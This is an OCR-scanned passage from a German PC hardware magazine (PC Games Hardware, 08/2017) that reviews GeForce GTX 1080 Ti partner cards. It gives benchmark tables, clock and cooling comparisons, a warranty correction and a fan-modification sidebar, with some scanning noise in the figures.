Gehäuselüfter/Sonstiges 3 x Lüfter, WLAN-Karte 3x Fractal-Lüfter, WLAN onboard | 3x Fractal-Lüfter, WLAN onboard | 3x Fractal-Lüfter, WLAN onboard | 3x Fractal-Lüfter, WLAN onboard 

Lautstärke 2D (0,5 m) 0,2 Sone/21 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/19 dB(A) 0,2 Sone/19 dB(A) 0,2 Sone/19 dB(A) 

Lautstärke 3D (0,5 m) 1,0 Sone/30 dB(A) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 0,6 Sone/26 dB(A) 0,6 Sone/26 dB(A) 

Leistungsaufnahme 2D/3D 43 Watt/289 Watt 60 Watt/303 Watt 69 Watt/309 Watt 71 Watt/339 Watt 56 Watt/330 Watt 

3D Mark (Fire Strike) 5.378 (U), 10.025 (E), 18.505 (S) | 5.409 (U), 10.105 (E), 18.047 (S) | 5.350 (0), 10.025 (E), 17.747 (S) | 7.086 (U), 13.165 (E), 20.599 (S) | 7.134 (U), 13.276 (E), 19.887 (S) 

Crysis 3/The Witcher 3 100 Fps/84 Fps 100 Fps/83 Fps 100 Fps/83 Fps 124 Fps/110 Fps 121 Fps/106 Fps 

Stalker: Call of Pripyat 228 Fps (Sun Shafts, Ultra, 4x AA) | 215 Fps (Sun Shafts, Ultra, 4x AA) | 215 Fps (Sun Shafts, Ultra, 4x AA) | 220 Fps (Sun Shafts, Ultra, 4x AA) | 183 Fps (Sun Shafts, Ultra, 4x AA) 

Aliens vs Predator Bench. 307 Fps (1.920 x 1.080) 302 Fps (1.920 x 1.080) 304 Fps (1.920 x 1.080) 414 Fps (1.920 x 1.080) 411 Fps (1.920 x 1.080) 

Cinebench R11.5 x64 (CPU) 10,88 Punkte 12,00 Punkte 12,04 Punkte 12,05 Punkte 17,87 Punkte 
PREIS 

EE UU €2.049, €2.599, €2.729, €2.949, €2.999, 

PREIS €2.149,- €2.699,- €2.829,- €3.099,- € 3.149,- 


(inkl. Windows 10 Pro) 


Sehr schnelle Geforce GTX 1080 
Sehr leise unter 2D 
Niedriger Stromverbrauch 


© 6-Kern-CPU und 1.050-GB-SSD 
Geforce GTX 1080 als OC-Version 


6-Kern-CPU und Asus GTX 1080 
M.2-SSD (Samsung 960 Pro) 


© Hoher Stromverbrauch in 2D 


© Hoher Stromverbrauch in 2D 


Sehr schnelle GTX 1080 Ti 
M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


8-Kern-CPU extrem schnell 
M.2-SSD (Samsung 960 Pro) 


© Hoher Preis 


EA GRAFIKKARTEN | Geforce GTX 1080 Ti: Herstellerdesigns (Teil 2) 


Pascal-Nachschlag 


Die Auswahl an 1080-Ti-Grafikkarten ist größer denn je, weshalb wir erneut 
eine Handvoll Herstellerdesigns ausführlich unter die Lupe nehmen. 


GEFORCE 
GTX 10807 


pm z WORKS NEE SV WORKS 


Die GP102-Familie 


Der GP102-Chip befeuert mittlerweile drei Nvidia-Grafikkarten: Die Titan Xp, die Titan X (Pascal) und die Geforce GTX 1080 Ti. Bis voraussichtlich Anfang 
2018 erste Volta-Grafikkarten auf den Endkundenmarkt gelangen, ist Nvidias GP102 an der Macht. 


y 4 yp Der High-End-Prozessor GP102 beherbergt auf 

einer Kernfläche von 471 mm? rund 12 Milliarden 
Transistoren — modellabhángig schalten aber nicht 
alle davon. Nur die Titan Xp kann auf den Vollaus- 
bau namens GP102-450 mit 3.840 ALUs und eine 
384-Bit-Schnittstelle zum Speicher zurückgreifen; die 
Titan X rechnet mit einem GP102-400 (3.584 ALUs, 
384 Bit). Die Geforce GTX 1080 Ti ist am stárksten 
kastriert — erkennbar am ,K1" —, der GP102-350-K1 
muss mit 352 Bit und 3.584 ALUs auskommen. 
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Geforce GTX 1080 Ti: Herstellerdesigns (Teil 2) | GRAFIKKARTEN 


Leistung in Ultra-HD-Auflösung: Doom 


Leistung in Ultra-HD-Auflösung: The Witcher 3 


Doom (Vulkan), Ultra-Preset, TSSAA 8TX/16:1 AF - „Devil's Dance" 


GTX 1080 Ti @ -2.075/6.200 MHz ВВ 107,2 (+23 %) 
GTX 1080 Ti @ -2.000/5.800 MHz ВВ 104,2 (+20 %) 
Zotac GTX 1080 Ti АМР! Extreme ВЕЗЕ 101,4 (+17 96) 
Inno 3D GTX 1080 Ti iChill ХЗ Ultra EB ИЕШЕ 99,6 (+15 96) 
EVGA GTX 1080 Ti FTW3 Gaming ws НЕШЕ 99,2 (+14 96) 
MSI GTX 1080 Ti Gaming X EE 97,8 (+13 96) 
Asus GTX 1080 Ti Strix ОС En 97 4 (+12 96) 
Gigabyte GTX 1080 Ti Aorus Xtreme PER E 06,1 (+11 90) 
MSI GTX 1080 Ti Armor OC TS ИЕШЕ 95,8 (+10 %) 
EVGA GTX 1080 Ti SC2 Gaming TE III 94,5 (+9 %) 
Caseking GTX 1080 Ti Custom Loop rs ИЕШЕ 94,3 (+9 %) 
Palit GTX 1080 Ti Super Jetstream 93,7 (+8 %) 
KFA2 GTX 1080 Ti EXOC maaa ЕНШЕ 93,3 (+7 %) 
inno 30 GTX 1080 Ti Twin X2. ET II 92 6 (+7 %) 
Titan Xp/12G a ps 89,1 (+3 %) 
Geforce GTX 1080 Ti/11G jm 86,9 (Basis) 
Titan X (Pascal)/12G Eu 85,0 (-2 96) 
Geforce GTX 1080/8G Es; Eu 69,0 (-21 96) 
Radeon R9 Fury X/4G Egg 57,2 (34 96) 
Geforce GTX 1070/8G Ead 52,6 (-39 %) 
Geforce GTX 980 Т1/6С MEMM 47,3 (-46 %) 
Radeon RX 580/86 gr 46,1 (-47 %) 
Radeon RX 480/8G sau 44,4 (-49 %) 
Radeon R9 390X/8G. Loge 43,5 (-50 96) 
Radeon R9 290X/4G E38 ES 41,4 (-52 96) 
Radeon RX 570/4G sane 39,5 (-55 %) 
Radeon R9 390/8G. EEE 39,5 (-55 %) 
Geforce GTX 980/4G. Egi 39,3 (-55 %) 
Radeon RX 470/4G Eg 37,5 (-57 96) 
Radeon R9 290/4G [39i 88 36,4 (-58 96) 
Geforce GTX 1060/6G 39r 36,2 (-58 96) 
Radeon R9 280X/3G Ea e 32,0 (-63 96) 
Geforce GTX 970/3,5+0,56 Xm 31,8 (-63 96) 
Geforce GTX 1060/3G ШШЕН 25,9 (-70 96) 
Geforce GTX 780 Ti/3G MEZAN 25,9 (-70 96) 
Geforce GTX Titan/6G Ш 2018 24,0 (-72 96) 
Geforce GTX 780/3G БШШШ 19,7 (-77 96) 
Geforce GTX 770/2G ЖЕН 15,3 (-82 96) 


The Witcher 3, kein Gameworks, Ingame-AA/16:1 AF - „Boat Trip" 


GTX 1080 Ti @ -2.075/6.200 MHz Si 62,1 (+22 96) 
GTX 1080 Ti @ -2.000/5.800 MHz Er 59,7 (+18 96) 
Zotac GTX 1080 Ti АМР! Extreme 5558, 1 (+15 96) 
EVGA GTX 1080 Ti FTW3 Gaming asli 57,7 (+14 96) 
Inno 3D GTX 1080 Ti iChill ХЗ Ultra 57,6 (+14 96) 
MSI GTX 1080 Ti Gaming X ms 57.0 (+12 96) 
MSI GTX 1080 Ti Armor OC НЕ И 56,7 (+12 96) 
Asus GTX 1080 Ti Strix ОС wq 56,6. (+12 96) 
Gigabyte GTX 1080 Ti Aorus Xtreme ass! 565 (+11 96) 
Caseking GTX 1080 Ti Custom Loop Il 55,5 (+9 96) 
EVGA GTX 1080 Ti SC2 Gaming 55,4 (+9 %) 
Palit GTX 1080 Ti Super Jetstream PER 55,2 (+9 96) 
KFA2 GTX 1080 Ti EXOC НИО И 54,9 (+8 %) 
inno 30 GTX 1080 Ti Twin X2 54,2 (+7 %) 
Titan Xp/12G Esa 54,1 (+7 %) 
Geforce GTX 1080 Ti/11G jugi 50,7 (Basis) 
Titan X (Pascal)/12G l 50,1 (-1 96) 
Geforce GTX 1080/86 EB 40, (-20 %) 
Geforce GTX 1070/8G. Egit 31,3 (-38 %) 
Radeon R9 Fury X/4G jg 30,7 (-39 96) 
Geforce GTX 980 Т1/6С E38! 29,4 (-42 96) 
Geforce GTX 980/4G. Xs! 24,0 (-53 %) 
Radeon RX 580/8G ttt 22,6 (-55 96) 
Geforce GTX 1060/6G agi] 22,0 (-57 96) 
Radeon RX 480/8G EIN 21,9 (-57 96) 
Radeon R9 390X/8G 9E 21,1 (-58 96) 
Geforce GTX 780 Ti/3G [9t 20,4 (-60 96) 
Geforce GTX 1060/3G [911 20,3 (-60 96) 
Radeon RX 570/4G MEA 19,7 (-61 96) 
Geforce GTX 970/3,5+0,5G 8t 19,3 (-62 96) 
Radeon R9 290X/4G E81] 19,3 (-62 96) 
Geforce GTX Titan/6G E81! 18,9 (-63 96) 
Radeon RX 470/46 Em 18,8 (-63 96) 
Radeon R9 390/8G. ШШШ 18,4 (-64 96) 
Radeon R9 290/46 ВЕНИ 17,4 (-66 96) 
Geforce GTX 780/3G. ШЕЯ! 17,1 (-66 96) 
Radeon R9 280X/3G mt 15,6 (-69 96) 
Geforce GTX 770/26 ВЕІ 14,4 (-72 %) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99, 4 x 8 GiB DDR4-3000 
(1T); Windows 10 x64, GF 382.53 WHQL, RS 17.5.2, HQ-AF Bemerkungen: Messungen 
der 1080-Ti-Herstellerdesigns erst nach Aufheizperiode, um realistische Boosts zu erhalten. 


МІП Ø Fps 


» Besser 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99, 4 x 8 GiB DDR4-3000 
(1T); Windows 10 x64, GF 382.53 WHQL, RS 17.5.2, HQ-AF Bemerkungen: Käufer eines 
Custom-Designs erhalten sieben bis 15 Prozent höhere Fps als bei der Founder's Edition. 


MiM Ø Fps 


» Besser 


ieben plus sechs ergibt 13: So 
Sce Varianten der Geforce 
GTX 1080 Ti haben mittlerweile 
den PCGH-Härtetest absolviert. 
Die erste Fuhre präsentierten wir 
Ihnen in der PCGH 06/2017, nun 
folgt der zweite Streich mit weite- 
ren sechs Designs. Diesmal haben 
wir gezielt nach Modellen mit Dual- 
Slot-Kühlung Ausschau gehalten, 
aber auch ein weiterer Triple-Slot- 
Koloss mischt mit. Damit Sie alle 
Informationen griffbereit haben, 
befindet sich der vorherige Test 
als PDF-Artikel auf der Heft-DVD. 
Magazin-Käufer müssen nicht ver- 
zagen, denn wir werden in diesem 
Artikel Bezug zu allen Probanden 
herstellen und in der Testtabelle 
sind ebenfalls alle vereint. 
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Notenkorrektur 

Trotz sorgfältiger Prüfung der 
Testtabellen müssen wir fehler- 
hafte Angaben bei den Garantie- 
zeiträumen einzelner Grafikkarten 
einräumen. Die Hersteller Inno 
3D und Sapphire machten uns da- 
rauf aufmerksam, jeweils drei Jahre 
Garantie - und nicht wie von uns 
angegeben nur zwei Jahre - zu ge- 
währen. In beiden Fällen gibt es 
Einschränkungen: Bei Inno 3D gilt 
dieser Zeitraum lediglich für die 
„iChill“-Serie, nicht aber für günsti- 
gere Modelle. Bei Sapphire sind alle 
aktuellen Nitro- und Pulse-Modelle 
mit drei Jahren abgedeckt, nur älte- 
re und besonders günstige Karten 
müssen mit zwei Jahren auskom- 
men. Die Abwicklung erfolgt in 


beiden Fällen über den Händler. 
Wir haben die Angaben bei betrof- 
fenen Modellen angepasst, was zu 
besseren Ausstattungsnoten führt. 


Mittlerweile hat sich außerdem das 
Ende der Fahnenstange bei der Ge- 
force GTX 1080 Ti gezeigt: Modelle 
mit um 20 bis maximal 25 Prozent 
erhöhten Boosts (gegenüber dem 
typischen Takt der Founder’s Edi- 
tion) sind das Höchste der Gefühle. 
Wir haben uns daher entschlossen, 
diese Modelle als Maßstab mit Leis- 
tungsnoten zwischen 1,00 und 1,05 
zu erklären - eine Titan Xp mit 
Standardkühlung bringt es übri- 
gens „nur“ auf die Note 1,19. Durch 
die Änderung verbessern sich die 
Endnoten aller getesteten Karten. 


Gratisspiel beim Kauf 

Der Kauf einer teuren Grafikkarte 
fällt nicht immer leicht, zusätzli- 
che Anreize helfen bei der Ent- 
scheidung. Das weiß auch Nvidia: 
Die Kalifornier schenken Käufern 
einer Geforce GTX 1080 (Ti) den 
mit reichlich Vorschusslorbeeren 
bedachten Shooter Destiny 2. Vo- 
raussetzung dafür ist der Kauf bei 
einem teilnehmenden Händler. 
Darunter befinden sich Alternate, 
Caseking und viele weitere - die 
komplette Liste finden Sie unter 
www.pcgh.de/destiny2nvidia. 
Im virtuellen Paket ist außerdem 
ein Code für die Beta-Test-Phase 
zum Spiel enthalten, welche Ende 
August startet. Das finale Spiel er- 
scheint am 24. Oktober. 


08/17 | PC Games Hardware 39 


EA GRAFIKKARTEN | Geforce GTX 1080 Ti: Herstellerdesigns (Teil 2) 


Aufrüstmatrix: Diese Grafikkarten lohnen sich für Ultra HD 


Basis: Leistungsindex Titan Xp | Gef. GTX | Titan X Gel GIN | Gef GTX | Gef. GTX | Rad.R9 | Gef GTX | Rad.RX | Gef. GTX | Ваа. ВХ | Rad. RX 
3.840 x 2.160 1080 Ti (Pascal) | 1080-11Gbps 1080 1070 Fury X | 1060-9Gbps | 580/8G | 1060/6G | 480/8G | 570/4G 
Titan Xp +0 % -7 % -7 % -25 % -27 % -42 % -50 % -58 % -59 % -59 % -60 % -66 96 
Geforce GTX 1080 Ti +7% +0% -1% -19 96 -22 % 37 9b -4] % -55 % -56 % -57 % -57 % -63 % 
Titan X (Pascal) +8% +1% +0% -19 % -21 % -37 % -46 % -55 % -55 % -56 % -57 % -63 % 
Geforce GTX 1080-11Gbps +33 % +24% + 23 96 +0% -3 96 -22 % -34 % -44 96 -45 % -46 % -47 % -54 % 
Geforce GTX 1080 + 37 96 + 28 96 * 21 % +3% +0% -20 % -32% -43 % -43 % -45 % -46 % -53 % 
Geforce GTX 1070 +71% + 60 96 + 59 96 + 29 % + 25 % +0% -15 96 -28 % -29 % -31 96 -32 % -41 96 
Geforce GTX 980 Ti + 84 96 + 72 96 +71% + 39 % + 35 96 +8% -8 % -23 % -24 % -25 % -27 9b -36 % 
Radeon R9 Fury X +101% | 48796 + 86 96 + 51 96 +47 9b + 17 96 +0% -16 % -17 % -19 % -20 % -31 96 
Radeon R9 390X +128% | +113% | +111% + 72 96 + 67 96 +33 96 + 14 96 -5 96 -6 96 -8 9b -9 96 -21 96 
Geforce GTX 980 + 138 % | + 123 % | + 121 96 + 80 % + 74 % + 39 % + 19 % 0% -1% -3% -5 96 -18 96 
Geforce GTX 1060-9Gbps +139% | +123% | +121% + 80 96 + 15 % +40 96 + 19 % +0% -1% -3 96 55190 -18 % 
Radeon RX 580/8G + 142 % | + 126% | + 124% + 82 % +77 % +41% +21% +1% +0% -2 % -4 % -17 % 
Geforce GTX 1060/6G +147% | +131% | +129% + 86 % + 80 % + 44 % + 23 96 +3 % +2 % +0% -2% -15 96 
Radeon R9 390 +146% | +130% | +128% + 86 % + 80 % + 44 % 4 23 96 +3% +2% 0% -2% -15 % 
Radeon RX 480/8G +151% | + 135 % | + 133 % + 89 % + 84 % + 47 % + 25 % +5 % +4% +2% +0% -13 % 
Radeon RX 580/4G +166% | +148% | + 146 % + 100 % + 94 96 + 55 % + 32 96 + 1196 + 10 96 +8% +6% -8 % 
Radeon R9 290X +169% | +152% | +149% + 103 % + 97 96 + 57 % + 34 % +13 96 + 1196 +9% +7% -1% 
Radeon RX 480/4G +176% | +158% | +155% + 108 % + 102 % +61% +37 % +15% +14% + 12 96 + 10 96 -5 % 
Radeon R9 290 + 18896 | +169% | + 16796 + 117 96 + 111% + 68 % + 44 % +21% + 19 96 + 17 96 + 15 96 -1 96 
Radeon RX 570/4G + 19096 | + 171% | + 169% + 118 96 + 112 96 + 69 96 + 45 96 +21% + 20 96 + 18 96 + 1596 +0% 
Radeon RX 470/8G +189% | +170% | +168% +118 96 +111% + 69 % + 44 96 +21 96 +20 96 * 17 96 + 15 96 0 96 
Geforce GTX Titan +198% | +178% | + 17596 + 124 96 + 118 96 + 74 % + 48 % + 24 % + 23 96 +21% +18 96 +3% 
Geforce GTX 970 +208% | +187% | +185% + 132 96 + 125 96 + 80 96 + 53 96 + 29 % + 27 % + 25 % + 22 % +6 % 
Radeon АХ 470/46 +203% | + 183 % | + 180 % + 128 % + 121 96 + 11 96 + 51 96 + 27 96 + 25 96 + 23 96 + 20 96 +4% 
Geforce GTX 1060/3G +221% | +200% | +197% + 142 96 + 135 96 + 87 % + 60 96 + 34 96 + 33 96 + 30 96 +28% | + 11% 
Geforce GTX 780 Ti +216% | +195% | + 193 % + 138 96 + 131% + 85 96 + 58 96 + 32 96 + 3196 + 28 96 + 26 % +9% 
Geforce GTX 780 +272% | +248% | +245% + 180 % +172% | +118% + 86 % + 56 % + 54 96 +51% +48% | +28% 
Radeon R9 280X +290% | +265% | +261% + 194 % +185% | +128% + 95 % + 63 % +61 96 + 58 96 +55% | +35 % 
Radeon R9 380/4G +297% | +271% | + 268 % 4- 199 96 + 19196 | + 13296 + 98 96 +66 96 + 64% + 61 96 +58% | +37 % 
Geforce GTX 770/4G + 297 % | +271% | + 268 % + 199 % + 190 % | + 132% + 98 % +66 96 + 64 % +61 96 +58% | +37% 
Radeon R9 380/2G +469% | +432% | +427% + 329 % +316% | +232% | +184% | +138% | +135% | +131% | + 126% | +96% 
Geforce GTX 1050 Ti/4G +358% | +328% | +324% + 245 % +235% | +167% | +128% +91% + 89 96 + 85 96 +82% | +58% 
Geforce GTX 770/2G +477% | +439% | + 434% + 335 96 + 322 % | +237% | + 188% | + 141% | +139% | +134% | + 130% | +99% 
Geforce GTX 1050/2G + 594 % | +548% | + 542 % + 422 % + 407 % | +305 % | + 246% | + 190% | + 187% | + 181% | + 176% | + 139 96 
Кадеоп АХ 460/46 + 511% | + 471% | 4 466 96 + 360 % + 347 % | + 257 % | +205% | + 155 % | + 152% | + 14896 | + 14396 | + 111% 
Кадеоп АХ 460/26 +785% | +727 % | +719 96 + 566 % + 547 % | +417 % | + 341% | + 270% | +266% | +258% | + 252% | + 205 96 
System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), X99, 4 х 8 GiByte DDR4-3000 (1T); Windows 10 x64 

ш Über 50 Prozent Plus 30-50 Prozent В Plus 0-30 Prozent В Leistungsverlust! 


Grafikkartenmodell Leerlauf Youtube Dual-Monitoring Crysis 3 The Witcher 3 Anno 2070 
(GPU/RAM) (UHD-Video) (versch. Modelle) (Full HD) (Ultra HD) (Ultra HD) 
Nvidia GTX 1080 Ti Founder's Edition 139/405 MHz 228/405 MHz 139/405 MHz .747 MHz, 0,962V .658 MHz, 0,900V 1.531 MHz, 0,843V 
EVGA GTX 1080 Ti FTW3 Gaming 240/405 MHz 240/405 MHz 240/405 MHz .949 MHz, 1,043V 1.911 MHz, 0,993V 1.823 MHz, 0,931V 
EVGA GTX 1080 Ti SC2 215/405 MHz 228/405 MHz 215/405 MHz .886 MHz, 1,012V .797 MHz, 0,943V 1.734 MHz, 0,900V 
Inno 3D GTX 1080 Ti Twin X2 139/405 MHz 278/405 MHz 139/405 MHz .810 MHz, 1,012V .734 MHz, 0,943V 1.671 MHz, 0,900V 
KFA2 GTX 1080 Ti EXOC 203/405 MHz 203/405 MHz 203/405 MHz .860 MHz, 1,043V ‚747 MHz, 0,950V 1.709 MHz, 0,925V 
MSI GTX 1080 Ti Armor 11G OC 203/405 MHz 215/405 MHz 203/405 MHz .886 MHz, 1,025V .823 MHz, 0,975V 1.797 MHz, 0,950V 
Palit GTX 1080 Ti Super Jetstream 215/405 MHz 215/405 MHz 215/405 MHz .848 MHz, 1,000V ‚759 MHz, 0,943V 1.709 MHz, 0,912V 
Asus GTX 1080 Ti Strix O11G 240/405 MHz 240/405 MHz 240/405 MHz .924 MHz, 1,050V .860 MHz, 1,000V 1.823 MHz, 0,962V 
Caseking GTX 1080 Ti Custom Loop 139/405 MHz 215/405 MHz 139/405 MHz .873 MHz, 1,043V .734 MHz, 0,931V 1.785 MHz, 0,975V 
Gigabyte GTX 1080 Ti Aorus Xtreme Ed. 278/405 MHz 278/405 MHz 278/405 MHz .898 MHz, 0,962V .823 MHz, 0,900V 1.747 MHz, 0,862V 
Inno 3D GTX 1080 Ti iChill X3 Ultra 278/405 MHz 278/405 MHz 278/405 MHz .974 MHz, 1,000V .898 MHz, 0,931V 1.835 MHz, 0,893V 
MSI GTX 1080 Ti Gaming X 11G 203/405 MHz 203/405 MHz 203/405 MHz .924 MHz, 1,031V .873 MHz, 0,981V 1.810 MHz, 0,931V 
Zotac GTX 1080 Ti AMP! Extreme 278/405 MHz 278/405 MH 278/405 MHz .974 MHz, 1,050V .949 MHz, 1,031V 1.898 MHz, 0,993V 
Bemerkungen: Taktraten nach 20 Minuten Aufheizphase; jeweils Minimalwerte. Die Unterschiede zwischen Teillast (FHD) und Volllast sind groß. Rot hervorgehoben: die 6 neuen Probanden. 
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Geforce GTX 1080 Ti: 12 Hersteller- 
designs von vernünftig bis hochge- 
züchtet im Vergleich. Nach wie vor 
gilt: Kaufen Sie eine übertaktete 
Geforce GTX 1080 Ti, läuft die 
WOQHD-Auflösung butterweich 
und selbst in Ultra HD sind 60 
Fps kein Problem, wenn hier und 
da auf ein paar Details verzichtet 
wird. Bei Full HD gilt hingegen das 
Sprichwort „Perlen vor die Sáue*: 
Eine Grafikkarte dieses Kalibers 
wird in 1080p nicht ausgelastet, 
sodass die teure Leistung verpufft. 
Falls Sie Ihren FHD-Monitor par- 
tout mit einer GTX 1080 Ti verhei- 
raten möchten, empfehlen wir die 
Nutzung der Treiberfunktion Dy- 
namic Super Resolution (DSR), um 
die Leistung in Form hübscherer 
Bilder produktiv zu nutzen. 


Kühlung: Wie eingangs erwähnt, 
haben wir für diesen Folgetest ge- 
zielt Dual-Slot-Designs angefragt, 
da im ersten Vergleich ausschließ- 
lich 2,5- oder Triple-Slot-Giganten 
anwesend waren. Die Founder’s 
Edition ausgeklammert, arbeiten 
alle Modelle mit Axiallüftern und 
verwirbeln ihre Abwärme folglich 
zu großen Teilen im Gehäuse. Das 
ist gerade bei sommerlicher Um- 
gebungstemperatur ein nicht zu 
unterschätzender Faktor. Die Case- 
king GTX 1080 Ti Custom Loop 
mit vorgefertigter Komplettwasser- 
kühlung ergänzt das luftgekühlte 
Ensemble. Der Versender bietet 
das Modell mit großer Komponen- 
tenwahl im Rahmen seines „King 
Mod'“-Service an - neuerdings für 
1.150 anstatt 1.200 Euro. 


Beginnen möchten wir mit den 
Dual-Slot-Karten, 
dazugestoßen sind. Dual-Slot ist 
gleichbedeutend mit 3,5 Zenti- 
metern Kartenhöhe, wenn Sie vor 
Ihnen auf dem Tisch liegt - die 
Slotblende markiert diese Maße. 
Die EVGA SC2, MSI Armor 11G OC, 
Inno 3D Twin X2 und KFA2 EXOC 
bringen je zwei Lüfter mit 85 bis 
95 Millimeter Durchmesser in ma- 
ximal 27,8 Zentimeter Länge unter. 
Allein die EVGA FTW3 sprengt den 
Rahmen in Breite und Länge: Sie ist 
die flächenmäßig größte Dual-Slot- 
Karte am Markt und trägt der Form 
entsprechend drei Lüfter. 


da diese neu 


Die Höhe der übrigen Karten 
startet bei 4,5/4,6 cm (MSI, Inno 
3D, Asus) und endet bei 5,3 (Palit, 
Zotac) bis 5,5 cm (Gigabyte). Das 
bedeutet, dass auf jeden Fall zwei 
Slots unter der Grafikkarte benö- 
tigt werden, um den Lüftern Platz 
zum Ansaugen bereitzustellen. 
Fehlt dieser Platz, müssen Sie sich 
auf eine hohe Lautstärke gefasst 
machen und sollten besser zu einer 
Zwei-Slot-Variante greifen. 


Ist das Verhältnis aus Temperatur 
und Lautheit der Bewertungsmaß- 
stab, stellt jedes getestete Kühl- 
design eine Verbesserung gegen- 
über der Founder's Edition dar, 
vor allem die 2,5-/3-Slot-Modelle. 
Die Kühler sind darauf ausgelegt, 
die im BIOS hinterlegte und von 
Nvidia vorgegebene GPU-Tempe- 
raturgrenze (84 °C) zu meiden, da 
ab hier der Boost drastisch gesenkt 
wird. Das gelingt nur einer Karte 


Gaming X neben Armor: MSI verwendet die gleiche Platine für beide Modelle, die 
Kühlung ist deutlich unterschiedlich — die Armor begnügt sich mit zwei Slots. 


im Test nicht Die Inno 3D Twin X2 
kracht unter Volllast an diese Gren- 
ze und steht den anderen Modellen 
daher in den Benchmarks leicht 
nach. Auf der Suche nach Ursachen 
sehen wir, dass der Kühler zwei 
Fehler begeht: Erstens müssen sich 
Speicher und Spannungswandler 
mit einer flachen Aluminiumplatte 
begnügen, anstelle mit dem GPU- 
Block Kontakt aufzunehmen, zwei- 
tens nimmt die Backplate mangels 
Wärmeleitpads keine Platinenwär- 
me auf. Beides führt dazu, dass die 
Lüfter höher drehen müssen, als es 
bei gleichmäßiger Wärmevertei- 
lung im Gesamtkühler notwendig 
wäre. Somit ist die Twin X2 zwar 
nicht furchtbar laut, mit maximal 
erzeugten 2,7 Sone ist sie aber 
nichts für Freunde der Stille. 


Der optisch sehr ähnliche Mitbe- 
werber aus dem Hause KFA2, die 
EXOC, leistet sich keinen der ge- 


nannten Patzer. Im Gegenteil, die 
Karte schlágt sich beinahe unheim- 
lich gut: Obwohl der Dual-Slot-Küh- 
ler mit 250 Watt an Abwärme han- 
tieren muss, beträgt die maximale 
Lautheit 1,4 Sone bei 76 °C Kern- 
temperatur. Neben guter Lüfter- 
wahl punktet das Modell durch die 
Vollkühlung aller Hotspots durch 
den großen Radiator sowie eine 
Backplate Wärmeleit- 
pads. Angesichts dieser Leistung 
ist es verschmerzbar, dass die Karte 
wattbedingt zu den langsamsten 


inklusive 


Custom-Designs gehört - unser 
Preis-Leistungs-Tipp. 


Bei der Armor OC (siehe oben) 
beweist MSI Mut: Die Karte ent- 
spricht in Sachen Platine und Po- 
werlimit 1:1 der Gaming X, wird 
jedoch um deren starken Kühler 
nebst Backplate beraubt. An seiner 
statt muss sie mit einem Dual-Slot- 
Design auskommen, das die Span- 


m А i А ВИТ 1 РРО 
Taktverlauf über 15 Minuten Volllast: Herstellerdesigns gegen Nvidias Founder's Edition 
Anno 2070 (Ultra HD alias 2160p) - „Ват!“ 
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System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99, 4 x 8 GiB DDR4-3000 (1T); Windows 10 x64 (1703), Geforce 382.53 WHQL Bemerkungen: Anno 2070 in Ultra-HD-Auflósung ist nach wie vor der „Watt-Worst- 
Case" unter den Spielen. Je geringer das Powerlimit einer Grafikkarte und je schwächer der Kühler, desto geringer der Boost. Die 280-Watt-Karten von EVGA und MSI schneiden daher besser ab als die 250-Watt-Konkurrenz. 
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Palit: Quad- vs. Dual-Lüfter 


Palits Game Rock Premium legte einen Fehlstart hin. Was es damit auf 
sich hat und was man dagegen tun kann, erfahren Sie hier. 


„Never change a running system” lautet eine IT-Weisheit. Innovationen bringen 
nicht immer die erhofften Verbesserungen — das bekam just der Hersteller Palit zu 
spüren. Die GTX 1080 Ti Game Rock setzt auf ein neues Lüftungskonzept (, Tur- 
boJET4"), das je zwei Lüfter stapelt und gegenläufig arbeiten lässt. Das Modell 
Game Rock Premium (GRP) wurde in ersten Tests wider Erwarten laut, sodass der 
Hersteller ein neues BIOS mit nur noch 250 anstelle von 300 Watt TDP anbietet, 
um die Geräuschemission kurzfristig zu senken. Eine Hardware-Revision ist indes- 
sen nicht vom Tisch. Wir haben uns daher entschlossen, die GRP nicht regulär zu 
testen, bis alles geklärt ist. Stattdessen haben wir eine Lüftermodifikation gewagt. 


EFORCE | 
TX 1080r / 


T 
SN Teen 


Wir haben testweise die Kunststoffhaube inklusive der Lüftermodule entfernt und 
dort zwei besonders laufruhige Rotoren installiert: die Noiseblocker Eloop B12-2 
zum Einzelpreis von je rund 18 Euro. Ziel der Aktion ist ein Test, ob leise Lüfter 

auf dem tadellosen Radiator — es werden alle Hitzequellen inklusive der Spulen 
bedeckt — aus der GRP eine flüsterleise Gaming-Grafikkarte machen. Für den Test 
verwenden wir das originale BIOS mit 300 Watt TDP; die Lüftersteuerung übernimmt 
mittels Y-Adapter das Mainboard (Profil , Hóchstleistung"). Tatsächlich funktioniert 
das bestens, die GPU erreicht bei rund 1.100 Lüfterumdrehungen nicht einmal 

80 °C. Die ganze Geschichte sehen Sie im Video unter www.pcgh.de/grpmod. Mit 
dem 250-Watt-BIOS ist sogar unhörbarer Betrieb möglich. 
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nungswandler und den Speicher 
nur mit einer flachen Aluminium- 
platte bedenkt. Da die Armor OC 
auch die 280 Watt TDP von ihrer 
grofsen Schwester erbt, müssen die 
beiden ` 95-Millimeter-Axiallüfter 
unter Volllast ackern. Unter dem 
Strich ist die Armor OC deswegen 
überdurchschnittlich schnell, aber 
ebenso warm wie laut (maximal 79 
°C bei 4,0 Sone). 


An dieser Stelle möchten wir ег- 
neut betonen, dass die GPU nicht 
alles ist, obwohl sie für einen Groß- 
teil der Wärme verantwortlich 
zeichnet. Gigabytes Aorus zeigt 
bei den grofsen Karten, wie man's 
richtig macht: Der Kühler bedeckt 
auch den Speicher und die Span- 
nungswandler, komplettiert von 
einer Backplate, die tatsáchlich ei- 
nen kühlenden Effekt hat. Knapp 
dahinter folgt der einzige Triple- 
Slot-Neuzugang in diesem Test, die 
Super Jetstream von Palit. Der Her- 
steller setzt sowohl auf eine (über- 
breite) Custom-Platine als auch auf 
ein eigenes Kühlerdesign. Letzte- 
res liefert keinen Grund zur Kritik, 
denn der voluminóse Radiator ist 
von dicken Heatpipes durchzogen 
und wird direkt mit der GPU, dem 
RAM und den Spannungswandlern 
verschraubt - inklusive der Spu- 
len. Die Konstruktion eignet sich 
deswegen auch bestens dafür, die 
Lüfter auf Wunsch gegen eigene 
zu ersetzen, wie unser Experiment 
mit der (bis auf die Lüfter) bauglei- 
chen Game Rock Premium zeigt. 


Auch die MSI Gaming X glänzt: 
